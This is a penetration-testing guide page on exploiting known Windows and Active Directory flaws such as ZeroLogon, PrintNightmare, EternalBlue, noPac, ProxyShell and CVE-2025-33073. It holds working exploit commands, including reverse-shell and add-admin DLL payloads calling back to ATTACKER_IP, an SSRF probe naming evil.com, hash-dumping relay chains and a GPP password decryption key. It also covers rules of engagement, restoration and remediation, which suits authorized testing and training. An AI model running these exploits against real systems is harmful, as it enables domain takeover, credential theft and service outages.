Exploitation

Known Vulnerabilities

Critical Windows and Active Directory vulnerabilities commonly found in enterprise environments.

Danger

Scope boundary for this page. Everything here is an exploit, not a probe. ZeroLogon sets the DC machine-account password to empty and breaks replication until it is restored; EternalBlue crashes unpatched hosts; noPac creates machine accounts in the directory; the AD CS chains issue certificates that outlive the engagement. Three things must be in the Rules of Engagement before the first trigger — that exploitation (not just detection) is authorised for that specific host, the change window and rollback owner, and who is called if a domain controller stops replicating. The operational warnings below are about mechanics, not permission.

Prerequisites & Tool Installation

Many exploits on this page require third-party tools. Here's how to obtain them:

Essential Tools

Impacket - Python AD toolkit

pip install impacket

GitHub: fortra/impacket

nxc - Network pentesting

pipx install nxc

GitHub: Porchetta-Industries/nxc

Certipy - AD CS exploitation

pip install certipy-ad

GitHub: ly4k/Certipy

Metasploit - Exploitation framework

apt install metasploit-framework

Pre-installed on Kali Linux

ZeroLogon (CVE-2020-1472)

Cryptographic flaw in Netlogon allows unauthenticated attacker to take over Domain Controller. Patches released August 2020. Treat it as a legacy-estate finding: the August 2020 cumulative updates fixed it, Netlogon enforcement has been on by default since February 2021, and it only still works against a Server 2008 R2-2019 DC that missed patching or an appliance shipping an old Netlogon DLL.

CVSS Score: 10.0 (Critical)

Impact: Full domain compromise without authentication

Affected: Windows Server 2008 R2 through 2019

Tool Installation

zerologon-setup.sh

# Checker - SecuraBV's repo contains only zerologon_tester.py
git clone https://github.com/SecuraBV/CVE-2020-1472.git zerologon-check
cd zerologon-check
pip install -r requirements.txt

# Exploit and password restore - dirkjanm's repo contains cve-2020-1472-exploit.py and restorepassword.py
git clone https://github.com/dirkjanm/CVE-2020-1472.git zerologon-exploit
cd zerologon-exploit

Check Vulnerability

zerologon-check.sh

# Check if DC is vulnerable (SecuraBV scanner)
python zerologon_tester.py DC_NETBIOS_NAME DC_IP

# nxc module (built-in)
nxc smb 192.168.1.100 -u '' -p '' -M zerologon

Exploit ZeroLogon

Warning

CAUTION: This exploit sets the DC machine account password to empty, which breaks AD replication and Kerberos authentication. Have a restoration plan ready.

zerologon-exploit.sh

# Run from the dirkjanm/CVE-2020-1472 clone - it contains cve-2020-1472-exploit.py
# Set DC password to empty (DANGEROUS - breaks replication!)
python cve-2020-1472-exploit.py DC_NETBIOS_NAME DC_IP

# Dump hashes with empty password
secretsdump.py -no-pass -just-dc DC_NETBIOS_NAME\$@DC_IP

# Restore DC password (CRITICAL!)
# First, get the machine account hash from secretsdump output
secretsdump.py administrator@DC_IP -hashes :ADMIN_HASH

# restorepassword.py also lives in dirkjanm/CVE-2020-1472
# Get the original hex password from the secretsdump output
python restorepassword.py DC_NETBIOS_NAME@DC_NETBIOS_NAME -target-ip DC_IP -hexpass ORIGINAL_HEX_PASSWORD

⚠️ Password Restoration Process

Before exploiting, note the DC NetBIOS name exactly as shown in AD
After secretsdump, look for DC_NAME$:plain_password_hex: in output
Save this hex value - you'll need it to restore
Run restorepassword.py immediately after obtaining admin access
Verify restoration by checking DC replication status

Danger

ZeroLogon sets the DC machine account password to empty, breaking AD replication. Always restore immediately after exploitation or use safer post-exploit methods.

PrintNightmare (CVE-2021-1675/34527)

Remote code execution via Print Spooler service. Works on DCs and workstations. Patches released July 2021. It survives only where the Spooler service is still enabled on a host that missed the July 2021 out-of-band updates - print servers and old jump hosts are the usual finds - and disabling the Spooler removes the exposure entirely.

CVSS Score: 8.8 (High)

Impact: Remote code execution as SYSTEM

Affected: All Windows versions with Print Spooler enabled

Tool Installation

printnightmare-setup.sh

# cube0x0's PrintNightmare exploit (most reliable)
git clone https://github.com/cube0x0/CVE-2021-1675.git
cd CVE-2021-1675
pip install -r requirements.txt

# Note: Requires modified impacket for some versions
git clone https://github.com/cube0x0/impacket
cd impacket
python setup.py install

Check Vulnerability

spooler-check.sh

# Check if Print Spooler is running (must return MS-RPRN)
rpcdump.py @192.168.1.100 | grep -i spoolsv
rpcdump.py @192.168.1.100 | grep -i 'MS-RPRN'

# nxc module
nxc smb 192.168.1.0/24 -u user -p pass -M spooler

# Nmap
nmap -p445 --script smb-enum-services 192.168.1.100

Exploit PrintNightmare

Step 1: Create a malicious DLL payload

payload-dll.sh

# Meterpreter reverse shell DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o evil.dll

# Stageless reverse shell (more reliable)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o evil.dll

# Add user DLL (create admin user)
msfvenom -p windows/adduser USER=hacker PASS=Hacker123! -f dll -o adduser.dll

Step 2: Host the DLL on an SMB share (target must be able to reach attacker)

smb-share.sh

# Start SMB server (Impacket)
smbserver.py share $(pwd) -smb2support

# With authentication (if needed)
smbserver.py share $(pwd) -smb2support -username user -password pass

Step 3: Start listener (if using reverse shell)

listener.sh

# Metasploit listener
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST ATTACKER_IP
set LPORT 4444
run

# Netcat listener (for stageless shell)
nc -lvnp 4444

Step 4: Execute the exploit

printnightmare-exploit.sh

# cube0x0's version (recommended)
python CVE-2021-1675.py corp.local/user:password@192.168.1.100 '\\ATTACKER_IP\share\evil.dll'

# Specify driver name (if default fails)
python CVE-2021-1675.py corp.local/user:password@192.168.1.100 '\\ATTACKER_IP\share\evil.dll' 'Microsoft XPS Document Writer v5'

Information

Troubleshooting: If the exploit fails, ensure: (1) SMB share is accessible from target, (2) Print Spooler is running, (3) Target hasn't been patched, (4) Try different driver names.

PetitPotam (CVE-2021-36942)

Coerce Windows hosts to authenticate to attacker via MS-EFSRPC. Chain with NTLM relay for domain takeover. The unauthenticated EFSRPC path was fixed in the August 2021 updates, so on current estates the value is the authenticated coercion plus the relay chain - and other coerces (PrinterBug, DFSCoerce) often work where this one no longer does.

CVSS Score: 7.5 (High) for CVE-2021-36942 - the impact comes from the relay chain, not the coercion itself

Impact: Force NTLM authentication from any Windows host

Best Used With: NTLM Relay to AD CS, LDAP, or SMB

Tool Installation

petitpotam-setup.sh

# PetitPotam exploit
git clone https://github.com/topotam/PetitPotam.git
cd PetitPotam

# Dependencies (uses Impacket)
pip install impacket

Basic Usage

petitpotam.sh

# Unauthenticated coercion (works on unpatched systems)
python PetitPotam.py ATTACKER_IP TARGET_IP

# Authenticated (works even on patched systems)
python PetitPotam.py -d corp.local -u user -p password ATTACKER_IP TARGET_IP

# Using NTLM hash
python PetitPotam.py -d corp.local -u user -hashes :NTLM_HASH ATTACKER_IP TARGET_IP

Attack Chain: PetitPotam + AD CS (ESC8)

This is the most powerful use case - coerce DC to authenticate, relay to AD CS, and obtain a certificate for the DC.

Prerequisites:

AD Certificate Services (AD CS) installed in domain
Web enrollment enabled on CA (certsrv endpoint)
EPA (Extended Protection for Authentication) not enforced

petitpotam-adcs.sh

# Step 1: Find AD CS servers
nxc ldap DC_IP -u user -p pass -M adcs
certipy find -u user@corp.local -p password -dc-ip DC_IP

# Step 2: Start NTLM relay to AD CS (Terminal 1)
sudo ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Step 3: Trigger PetitPotam (Terminal 2)
python PetitPotam.py ATTACKER_IP DC_IP

# Step 4: Use obtained certificate to authenticate as DC
certipy auth -pfx dc.pfx -dc-ip DC_IP

# Step 5: DCSync with obtained hash
secretsdump.py -hashes :NTLM_HASH corp.local/DC_NAME\$@DC_IP

Tip

Alternative Coercion Methods: If PetitPotam is patched, try other coercion techniques: Coercer tool tests multiple methods (MS-RPRN, MS-EFSR, MS-FSRVP, etc.) - GitHub: p0dalirius/Coercer

EternalBlue (MS17-010)

SMBv1 remote code execution. Still found in legacy environments. Patches released March 2017. You should only meet it on Windows 7/2008 R2, XP-era embedded systems and OT segments that never took the MS17-010 update; disabling SMBv1 removes the exposure without patching.

CVSS Score: 8.1 (High)

Impact: Remote code execution as SYSTEM (no authentication)

Affected: Windows XP through Windows Server 2008 R2 (unpatched)

Notable: Used in WannaCry and NotPetya ransomware

Check Vulnerability

ms17-010-check.sh

# Nmap script (most reliable detection)
nmap -p445 --script smb-vuln-ms17-010 192.168.1.100
nmap -p445 --script smb-vuln-ms17-010 192.168.1.0/24

# nxc (doesn't require credentials)
nxc smb 192.168.1.0/24 -u '' -p '' -M ms17-010

# Metasploit scanner
msfconsole -q
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run

Exploit EternalBlue

Option 1: Metasploit (Most Reliable)

eternalblue-msf.txt

# Metasploit EternalBlue exploit
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST ATTACKER_IP
set LPORT 4444
exploit

# For 32-bit targets
set PAYLOAD windows/meterpreter/reverse_tcp

Option 2: Standalone Python Exploit

eternalblue.sh

# worawit's MS17-010 exploit collection
git clone https://github.com/worawit/MS17-010.git
cd MS17-010

# Generate shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f raw -o shellcode.bin EXITFUNC=thread

# Merge shellcode with exploit
python shellcode_patcher.py shellcode.bin

# Run exploit (different scripts for different targets)
python eternalblue_exploit7.py 192.168.1.100 shellcode.bin  # Windows 7
python eternalblue_exploit8.py 192.168.1.100 shellcode.bin  # Windows 8/2012

Warning

EternalBlue can cause system instability or crashes. Have a plan if the target system becomes unresponsive. In production environments, use with caution.

sAMAccountName Spoofing (CVE-2021-42278/42287)

Exploit machine account name confusion to impersonate Domain Controller. Also known as "noPac". Patches released November 2021. It still reproduces where a DC missed the November 2021 updates for CVE-2021-42278 and CVE-2021-42287 and the machine account quota is left at its default of 10.

CVSS Score: 7.5 (High) each - CVE-2021-42278 and CVE-2021-42287

Impact: Domain Admin from any domain user

Requires: Valid domain user credentials, ability to create machine accounts (default)

Tool Installation

nopac-setup.sh

# noPac - automated exploit (recommended)
git clone https://github.com/Ridter/noPac.git
cd noPac
pip install -r requirements.txt

# Alternative: cube0x0's version
git clone https://github.com/cube0x0/noPac.git

Check Vulnerability

nopac-check.sh

# Check MAQ (Machine Account Quota) - default is 10
nxc ldap DC_IP -u user -p password -M maq

# Manual LDAP query
ldapsearch -x -H ldap://DC_IP -D 'user@corp.local' -w 'password' -b 'DC=corp,DC=local' '(objectClass=domain)' ms-DS-MachineAccountQuota

Exploit noPac

Automated Exploitation:

nopac.sh

# Dump domain hashes (DCSync)
python noPac.py corp.local/user:password -dc-ip DC_IP -dc-host DC_NAME --impersonate administrator -dump

# Get interactive shell on DC
python noPac.py corp.local/user:password -dc-ip DC_IP -dc-host DC_NAME --impersonate administrator -shell

# Specify target user to impersonate
python noPac.py corp.local/user:password -dc-ip DC_IP -dc-host DC_NAME --impersonate 'Domain Admin'

Manual Exploitation (understanding the attack):

nopac-manual.sh

# Step 1: Create a machine account
addcomputer.py -computer-name 'YOURPC$' -computer-pass 'Password123' -dc-ip DC_IP corp.local/user:password

# Step 2: Clear the SPN on the machine account
addspn.py -u 'corp.local\YOURPC$' -p 'Password123' -c 'YOURPC$' --clear DC_IP

# Step 3: Rename machine account to match DC
renameMachine.py -current-name 'YOURPC$' -new-name 'DC$' -dc-ip DC_IP corp.local/user:password

# Step 4: Request TGT for the renamed machine account
getTGT.py -dc-ip DC_IP 'corp.local/DC$:Password123'

# Step 5: Rename back (so we can request S4U2self)
renameMachine.py -current-name 'DC$' -new-name 'YOURPC$' -dc-ip DC_IP corp.local/user:password

# Step 6: Request service ticket using S4U2self
export KRB5CCNAME=DC\$.ccache
getST.py -spn cifs/DC.corp.local -impersonate administrator corp.local/YOURPC\$ -k -no-pass

# Step 7: Use the ticket
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass DC.corp.local

Information

The noPac automated script handles all these steps. Manual exploitation helps understand the vulnerability for reporting and remediation guidance.

ProxyLogon/ProxyShell (Exchange)

Exchange Server pre-auth RCE vulnerabilities. Often leads to domain compromise. Both are 2021 findings and only live on on-premises Exchange that missed the March-May 2021 cumulative updates - usually an end-of-life 2013/2016 server kept running for a single application.

ProxyLogon: CVE-2021-26855, CVE-2021-27065

Patches: March 2021

CVSS: 9.8 (Critical)

ProxyShell: CVE-2021-34473, CVE-2021-34523, CVE-2021-31207

Patches: April-May 2021

CVSS: 9.8 (Critical)

Tool Installation

exchange-tools.sh

# ProxyLogon/ProxyShell exploit collection
git clone https://github.com/hausec/ProxyLogon.git
git clone https://github.com/ktecv2000/ProxyShell.git

# Exchange exploitation toolkit
pip install exchangelib

Check Vulnerability

proxylogon-check.sh

# ProxyLogon check - SSRF to autodiscover
curl -k 'https://exchange.corp.local/autodiscover/autodiscover.json?@evil.com/owa/&Email=autodiscover/autodiscover.json%3F@evil.com'

# Check Exchange version (exposed in headers)
curl -k -s https://exchange.corp.local/owa/ -I | grep 'X-OWA-Version'

# Metasploit scanner
msfconsole -q
use auxiliary/scanner/http/exchange_proxylogon
set RHOSTS exchange.corp.local
run

Exploit ProxyShell

proxyshell.sh

# Metasploit ProxyShell RCE
msfconsole -q
use exploit/windows/http/exchange_proxyshell_rce
set RHOSTS exchange.corp.local
set EMAIL user@corp.local
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST ATTACKER_IP
exploit

# Standalone exploit (drop web shell)
python proxyshell_exploit.py -t https://exchange.corp.local -e user@corp.local

Information

Exchange servers are often highly privileged in AD environments. Compromising Exchange frequently leads to domain admin via Exchange trusted subsystem permissions or credential theft from mailboxes.

SMB Client Reflection (CVE-2025-33073)

Coerce a host's SYSTEM service into authenticating to a listener you control, then relay that authentication back to the same host's SMB server. LSASS decides the target is the machine itself and performs local NTLM authentication, copying the SYSTEM token into the server context, so the relayed session lands as SYSTEM rather than as the machine account. Microsoft's description is "Improper access control in Windows SMB allows an authorized attacker to elevate privileges over a network"; in practice it is authenticated remote code execution as SYSTEM on any host that does not enforce SMB signing. Patches released June 2025. Unlike the rest of this page this is not a legacy-only finding: 2022 and 2025 servers that missed the June 2025 cumulative update are in scope, and it has since been added to CISA's Known Exploited Vulnerabilities catalogue. SMB signing enforced on the target defeats the chain with or without the patch, which makes it the control to check first and the fix to recommend regardless of patch state.

CVSS Score: 8.8 (High) — NVD, published 2025-06-10

Impact: SYSTEM on the coerced host, from any authenticated domain user

Affected: Windows 10/11 and Windows Server 2008 SP2 through 2025 without the June 2025 updates

Requires: A domain account, a coercible SYSTEM service, and SMB signing not enforced on the target

Check Patch Level and Signing

cve-2025-33073-check.sh

# Patch level: the June 2025 cumulative update, not a version string
Get-CimInstance Win32_QuickFixEngineering | Sort-Object InstalledOn -Descending | Select-Object -First 10

# SMB signing - nxc prints signing:True/False in the SMB banner
nxc smb 192.168.1.0/24
nmap -p445 --script smb2-security-mode 192.168.1.100

# Is the host coercible at all? This is the other half of the chain
nxc smb 192.168.1.100 -u user -p pass -M petitpotam

Exploit Chain

Warning

The coercion has to name the target as itself. The published chain registers a DNS record whose suffix is stripped by LSASS back to the target's hostname, which is what makes the relayed connection look local. A single localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA record covers every host, because what remains after the strip is literally localhost.

cve-2025-33073-exploit.sh

# 1. Register the record on a DNS server the target uses (dnstool.py, Impacket)
dnstool.py -u 'CORP.LOCAL\user' -p 'Password123' 10.10.10.10 -a add -r 'srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' -d ATTACKER_IP

# 2. Relay the coerced authentication back to the target's own SMB server
ntlmrelayx.py -t smb://192.168.1.100 -smb2support

# 3. Coerce lsass.exe (SYSTEM) into authenticating to that record
python3 PetitPotam.py -u user -p 'Password123' -d corp.local 'srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' 192.168.1.100

# A successful relay dumps the local SAM through the target's own RemoteRegistry service

Microsoft's fix sits in the SMB client: mrxsmb!SmbCeCreateSrvCall now refuses a target name that carries marshalled target information, which is precisely what the DNS-record coercion relies on. For detection, watch for the coercion and its consequence rather than the relay itself — an outbound SMB connection from a SYSTEM service such as lsass.exe to an internal host, and the RemoteRegistry service starting on the target (7036) immediately afterwards. Neither is normal on a server that is not being administered.

GPP Passwords (MS14-025)

Group Policy Preferences stored credentials in SYSVOL with weak AES encryption. Microsoft published the decryption key.

Affected Files: Groups.xml, Services.xml, ScheduledTasks.xml, DataSources.xml, Printers.xml, Drives.xml

Location: \\\\DOMAIN\\SYSVOL\\DOMAIN\\Policies\\

Note: Patched in 2014, but legacy GPPs may still contain passwords

Manual Search

gpp-search.sh

# Search SYSVOL for cpassword attribute
findstr /S /I cpassword \\corp.local\sysvol\corp.local\policies\*.xml

# PowerShell search
Get-ChildItem -Path '\\corp.local\SYSVOL\corp.local\Policies' -Recurse -Include *.xml | Select-String -Pattern 'cpassword'

# Linux - mount and search
mount -t cifs //DC_IP/SYSVOL /mnt/sysvol -o user=user,password=pass
grep -ri 'cpassword' /mnt/sysvol/

Automated Tools

gpp-tools.sh

# nxc module
nxc smb DC_IP -u user -p pass -M gpp_password

# Metasploit module
msfconsole -q
use auxiliary/scanner/smb/smb_enum_gpp
set RHOSTS DC_IP
set SMBUser user
set SMBPass password
run

# Get-GPPPassword PowerShell script (PowerSploit)
Import-Module .\Get-GPPPassword.ps1
Get-GPPPassword

Decrypt GPP Password

gpp-decrypt.sh

# Using gpp-decrypt (Kali built-in)
gpp-decrypt "ENCRYPTED_CPASSWORD_HERE"

# Example:
gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

# Python alternative
python -c "
import base64
from Crypto.Cipher import AES
key = bytes.fromhex('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b')
cipher = AES.new(key, AES.MODE_CBC, b'\x00'*16)
print(cipher.decrypt(base64.b64decode('ENCRYPTED_CPASSWORD_HERE')).decode())
"

Tip

Even if the patch is applied, old Group Policy Preferences may still contain credentials. Always check SYSVOL during assessments.

LLMNR/NBT-NS Poisoning (Not patched)

Protocol weakness - not a CVE but extremely common in enterprise networks. Can be mitigated via GPO but rarely is.

Protocols: LLMNR (UDP 5355), NBT-NS (UDP 137), mDNS (UDP 5353)

Impact: Capture NTLMv2 hashes, relay authentication

Mitigation: Disable via GPO, but requires testing and rarely done

llmnr-check.sh

# See Credential Attacks page for full details
sudo responder -I eth0 -dwPv

# Passive mode (listening only, no poisoning)
sudo responder -I eth0 -A

For comprehensive LLMNR/NBT-NS techniques, see the Credential Attacks page.

Additional High-Impact CVEs

CVE	Name	Impact	Resource
CVE-2022-26923	Certifried	Domain user to Domain Admin via AD CS	Certipy
CVE-2022-33679	Kerberos RC4 Downgrade	Capture AS-REP for any user - patched November 2022	PoC
CVE-2022-37958	SPNEGO NEGOEX RCE	RCE via SMB/RDP (pre-auth)	Metasploit module
CVE-2023-23397	Outlook NTLM Leak	Capture NTLM via calendar invite	PoC
CVE-2024-26198	Exchange OWA RCE	RCE via crafted file - requires user interaction (UI:R)	Check vendor advisories

Vulnerability Scanning

Use these commands to quickly scan for multiple vulnerabilities across a network.

Nmap Vulnerability Scripts

nmap-vuln.sh

# All vulnerability scripts (comprehensive but slow)
nmap -p- --script vuln 192.168.1.100

# Common Windows SMB vulnerabilities
nmap -p445 --script 'smb-vuln*' 192.168.1.0/24

# Specific high-priority checks
nmap -p445 --script smb-vuln-ms17-010,smb-vuln-cve-2020-0796 192.168.1.0/24

# RDP vulnerabilities (BlueKeep etc)
nmap -p3389 --script 'rdp-vuln*' 192.168.1.0/24

# All common Windows ports
nmap -p135,139,445,3389,5985,5986 --script vuln 192.168.1.100

nxc Modules

nxc-vuln-modules.sh

# List all available modules
nxc smb -L

# Run critical vulnerability checks
nxc smb 192.168.1.0/24 -u user -p pass -M zerologon
nxc smb 192.168.1.0/24 -u user -p pass -M petitpotam
nxc smb 192.168.1.0/24 -u '' -p '' -M ms17-010
nxc smb 192.168.1.0/24 -u user -p pass -M spooler
nxc smb 192.168.1.0/24 -u user -p pass -M gpp_password
nxc smb 192.168.1.0/24 -u user -p pass -M gpp_autologin

Automated Scanning Script

quick_vuln_scan.sh

#!/bin/bash
# quick_vuln_scan.sh - Run against target range
TARGET=$1
USER=$2
PASS=$3

echo "[*] Scanning $TARGET for common vulnerabilities..."

echo "[+] Checking MS17-010 (EternalBlue)..."
nxc smb $TARGET -u '' -p '' -M ms17-010 2>/dev/null

echo "[+] Checking ZeroLogon..."
nxc smb $TARGET -u '' -p '' -M zerologon 2>/dev/null

echo "[+] Checking PetitPotam..."
nxc smb $TARGET -u $USER -p $PASS -M petitpotam 2>/dev/null

echo "[+] Checking Print Spooler..."
nxc smb $TARGET -u $USER -p $PASS -M spooler 2>/dev/null

echo "[+] Checking GPP Passwords..."
nxc smb $TARGET -u $USER -p $PASS -M gpp_password 2>/dev/null

echo "[*] Scan complete!"

Tip

Many of these vulnerabilities have been patched but remain prevalent in environments with poor patch management. Always check patch levels during enumeration.

External Resources

PayloadsAllTheThings

Comprehensive exploit payload collection

Windows Kernel Exploits

Collection of Windows privesc exploits

CVE Details

Windows Server vulnerability database

HackTricks AD

Active Directory attack methodology

Evidence Collection

Patch level, not a version string: The host's build number and the specific KB that is missing, from Get-CimInstance Win32_QuickFixEngineering or Get-WindowsPackage. A banner or an unauthenticated probe is a hypothesis; the KB list is the evidence.

Checker output, then exploit result: Keep the two apart. A scanner saying "vulnerable" and an exploit that crashed the host are different claims with different severities, and only one of them is safe to publish without a change window.

Impact and timestamp: For each exploitation: the time it ran, whether the host rebooted, lost replication or dropped a service, and who was notified. If a production box was touched, this is the incident record.

Restoration proof: ZeroLogon: the machine-account restore output and healthy replication. noPac: the created machine accounts deleted. AD CS chain: the issued certificate revoked or expired. Show the return to baseline, not just the attack.

CVSS range: Use the per-CVE figure on this page (ZeroLogon 10.0, ProxyLogon/ProxyShell 9.8, PrintNightmare 8.8, SMB client reflection CVE-2025-33073 8.8, EternalBlue 8.1, noPac 7.5) — and state the estate context, because most of these only exist on hosts past end of life.

False Positive Identification

A banner is not a patch level: Header and RPC probes infer the build, and vendors backport without changing the version. Confirm the KB is absent before writing "unpatched".
Vulnerable but unreachable: An MS17-010 scan over a host with SMBv1 disabled reports "not vulnerable" for the wrong reason. Distinguish patched from not reachable over the tested dialect — the second is still a finding if the host is EOL.
Spooler running is not PrintNightmare: The RPC interface being present is the prerequisite, not the vulnerability. Point-and-Print restrictions and RpcAuthnLevelPrivacyEnabled change the outcome; test the exploit or mark it unconfirmed.
Coercion with no callback: PetitPotam returning without an inbound authentication to your listener means nothing was coerced. Check the listener before the exit code.
A stale GPP cpassword: A cpassword in SYSVOL is a finding on its own, but the account may be disabled or rotated. Verify the credential works before rating it as an exposed password.

Testing Checklist

Order matters more than the exploit list. The first two steps are read-only; everything after them changes the client’s systems.

Before you exploit

☐ Inventory build and KB level for every host in scope — that single list decides which CVEs on this page are even applicable.
☐ Run the read-only checkers (nxc modules, rpcdump, nmap --script vuln) and record output per host.
☐ Confirm in the Rules of Engagement that exploitation (not just detection) is authorised for this host, in this window.
☐ Agree the rollback: who restores the snapshot, who owns the DC if replication breaks, and the phone number for both.

While you exploit

☐ One host at a time, starting with the least business-critical. Never spray EternalBlue or ZeroLogon across a range.
☐ For ZeroLogon, capture the machine account's hex password before the exploit and restore it in the same session.
☐ For noPac, track every machine account and SPN you create so they can be removed.
☐ Stop and escalate if a host reboots, a service fails to start, or replication reports errors.

Remediation

Patch the premise

• Treat build-and-KB inventory as the control: an estate that cannot tell you which hosts are missing MS17-010 cannot remediate it either.
• Push the cumulative updates through WSUS/Intune with a deadline rather than an approval, and report the EOL hosts separately — they cannot be patched.
• Remove end-of-life operating systems from the network or isolate them; every CVE on this page survives principally on hosts Microsoft no longer patches.

Remove the exposure where patching cannot reach

• Disable SMBv1 everywhere (MS17-010), the Print Spooler on DCs (PrintNightmare) and HTTP certificate enrolment (ESC8).
• Set ms-DS-MachineAccountQuota to 0 so noPac and RBCD lose their machine-account prerequisite.
• Delete cpassword entries from SYSVOL, rotate the accounts they exposed, and disable LLMNR/NBT-NS by GPO (see 05a).

Exploitation Overview

Back to main exploitation guide

Known Vulnerabilities

Prerequisites & Tool Installation

Essential Tools

ZeroLogon (CVE-2020-1472)

Tool Installation

Check Vulnerability

Exploit ZeroLogon

⚠️ Password Restoration Process

PrintNightmare (CVE-2021-1675/34527)

Tool Installation

Check Vulnerability

Exploit PrintNightmare

PetitPotam (CVE-2021-36942)

Tool Installation

Basic Usage

Attack Chain: PetitPotam + AD CS (ESC8)

EternalBlue (MS17-010)

Check Vulnerability

Exploit EternalBlue

sAMAccountName Spoofing (CVE-2021-42278/42287)

Tool Installation

Check Vulnerability

Exploit noPac

ProxyLogon/ProxyShell (Exchange)

Tool Installation

Check Vulnerability

Exploit ProxyShell

SMB Client Reflection (CVE-2025-33073)

Check Patch Level and Signing

Exploit Chain

GPP Passwords (MS14-025)

Manual Search

Automated Tools

Decrypt GPP Password

LLMNR/NBT-NS Poisoning (Not patched)

Additional High-Impact CVEs

Vulnerability Scanning

Nmap Vulnerability Scripts

nxc Modules

Automated Scanning Script

External Resources

PayloadsAllTheThings

Windows Kernel Exploits

CVE Details

HackTricks AD

Evidence Collection

False Positive Identification

Testing Checklist

Before you exploit

While you exploit

Remediation

Patch the premise

Remove the exposure where patching cannot reach

Related Topics

Exploitation Overview

Related Tools

Nmap Builder

Reverse Shell Generator

Port Reference

Findings Library